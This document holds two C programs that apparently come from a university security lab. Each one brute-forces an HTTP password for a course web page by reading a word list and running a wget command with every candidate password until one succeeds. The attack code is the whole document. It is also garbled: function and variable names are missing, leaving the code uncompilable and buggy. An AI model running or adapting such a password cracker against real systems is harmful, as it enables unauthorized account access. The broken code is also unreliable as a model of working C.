


#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  int t1, t2, t;           
  int timeinsec, nofattempts;
  char url[100], url1[80];
  strcpy(url, "wget --http-user= --http-passwd="); 
  strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); 
  char word[15], *chk;
  chk = "word";
  FILE *fp;
  int syst = 1;
  fp = fopen("words", "r");    
  t1 = time();
  while(chk != NULL)    
  {
    chk = fgets(word, 15, fp); 
    if (chk == NULL) exit(1);
    word [ strlen(word) - 1 ] = '\0'; 
    strcat(url, word);
    strcat(url, url1);
    nofattempts = nofattempts + 1;   
    printf("\n %s %d\n",word,nofattempts);
    if (strlen(word) == 3) 
    syst = system(url);
    if (syst == 0)  
    {
       t2 = time();
       t = t2 - t1;
       timeinsec = t/1000000000;
       printf("\n !!! here's the passowrd:- %s",word);
       printf("\n Total .of atempts: %d\n",nofattempts);
       printf("\n The total time_var taken: %d seconds", timeinsec);
       exit(1);
    }
    strcpy(url, "");
    strcpy(url, "wget --http-user= --http-passwd=");
  }
}

#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9

int ()
{   int startTime, stopTime, final;
    int i,j,k;
    FILE* fp;
    int pass,len;
    int count = 0;
    char [50];
    char url1[100];
    char url2[100];

    startTime = time();
    fp = fopen("/usr/share/lib/dict/words","r");
    while (fp !='\0')
     {
       fgets( ,50,fp);

       len = strlen();
       [strlen()-1] ='\0';

       if(len <= 4)
       {
         count++;
	     printf("Checking for the word :%s\n",);
	     strcpy(url1 ,"wget --http-user= --http-passwd=");
	     strcat(url1,);
	     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
	     strcat(url1,url2);


	     pass = system(url1);
	    if (pass == 0)
	    {
	      stopTime = time();
          final = stopTime-startTime;
	      printf("\n SUCCESS\n");
	      printf("The password for the user  : %s\n ",);
	      printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
	       printf("Number of attempts : %d\n",count);
          exit(1);
	 }
        }
       }

 }
